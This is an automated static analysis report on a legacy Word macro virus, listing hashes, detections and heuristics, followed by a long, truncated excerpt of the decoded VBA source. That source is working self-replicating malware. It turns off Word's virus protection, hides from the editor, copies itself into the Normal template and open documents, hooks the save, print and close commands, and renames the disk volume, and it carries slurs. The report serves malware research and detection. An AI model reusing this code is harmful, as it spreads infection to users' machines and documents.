Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7916ce40a2ed0742…

MALICIOUS

Office (OLE)

463.5 KB Created: 1998-03-26 01:43:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 48df694e0b3ccbc289aa7a9d645267f5 SHA-1: d5c13abfff829436d32143682c0299ebd04fb992 SHA-256: 7916ce40a2ed0742ac0f8388f50a857ae4d09f58339d8626ac2d60d53ed7f0de
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros with AutoOpen and Auto_Close functions, indicating an attempt to automatically execute code upon document opening or closing. The 'Shell()' call within the VBA code is a critical finding, suggesting the execution of arbitrary commands. The macro attempts to export itself to 'c:\startup.log', which could be a precursor to further malicious activity or persistence.

Heuristics 7

  • ClamAV: Win.Trojan.Pivis-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Pivis-2
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 763673 bytes
SHA-256: b301602fd2830ad3517f4ada5febe3353e5bb9038fd7fa562964e67ed42ab983
Detection
ClamAV: Doc.Trojan.Steroid-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Bitch"
Declare Function SetVolumeLabel Lib "kernel32" Alias "SetVolumeLabelA" (ByVal lpRootPathName As String, ByVal lpVolumeName As String) As Long
Sub Steroid()
If Application.ShowVisualBasicEditor Then Call out
Application.EnableCancelKey = wdCancelDisabled
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
CommandBars("tools").Controls("Macro").Delete
CommandBars("tools").Controls("Templates and add-ins...").Delete
If Application.ShowVisualBasicEditor Then Call out
With Options
.ConfirmConversions = False
.VirusProtection = False
.SaveNormalPrompt = False
End With
If Application.ShowVisualBasicEditor Then Call out
ActiveDocument.ReadOnlyRecommended = False
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
If Application.ShowVisualBasicEditor Then Call out
Application.VBE.ActiveVBProject.VBComponents("Bitch").Export "c:\startup.log"
For I = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(I).Name = "Bitch" Then NormInstall = True
Next I
If Application.ShowVisualBasicEditor Then Call out
For I = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(I).Name = "Bitch" Then ActivInstall = True
Next I
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then
Call Mover2
With ActiveDocument.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
End If
If Application.ShowVisualBasicEditor Then Call out
If NormInstall = False Then
With NormalTemplate.VBProject
With .VBComponents.Import("c:\startup.log")
End With
End With
Call Mover1
volset = SetVolumeLabel("c:\", "Whore")
End If
If Application.ShowVisualBasicEditor Then Call out
If ActivInstall = False Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
If NormInstall = False Then
If NormalTemplate.Saved = False Then NormalTemplate.Save
End If
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = True
If Application.ShowVisualBasicEditor Then Call out
fuckoff:
End Sub
Sub HelpAbout()
On Error Resume Next
MsgBox "Linda Tripp is a WHORE!!", vbInformation, "VicodinES Macro Virus"
End Sub
Sub FileSave()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
ActiveDocument.Save
Application.ScreenUpdating = True
End Sub
Sub FileSaveAs()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
dialogs(wdDialogFileSaveAs).Show
Application.ScreenUpdating = True
Call Steroid
End Sub
Sub FilePrint()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
dialogs(wdDialogFilePrint).Show
Call Steroid
End Sub
Sub FileClose()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
Application.ScreenUpdating = False
If ActiveDocument.Saved = False Then ActiveDocument.Save
ActiveDocument.Close
End Sub
Sub FileExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
Application.Quit
End Sub
Sub AutoOpen()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
End Sub
Sub AutoExit()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Caffeine
End Sub
Sub AutoClose()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
Call Steroid
End Sub
Sub ViewVBCode()
On Error Resume Next
If Application.ShowVisualBasicEditor Then Call out
End Sub
Sub Caffeine()
' If Application.ShowVisualBasicEditor Then Call out
Application.ScreenUpdating = False
Application.EnableCancelKey = wdCancelDisabled
Application.WindowState = wdWindowSt
... (truncated)

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